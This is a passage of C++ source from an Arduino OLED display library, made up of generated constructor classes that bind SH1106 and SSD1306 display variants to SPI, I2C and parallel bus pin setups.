u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_8080 : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_6800 : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_8080 : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_i2c_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X48_ER_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X48_ER_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_48X64_WINSTAR_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_48X64_WINSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    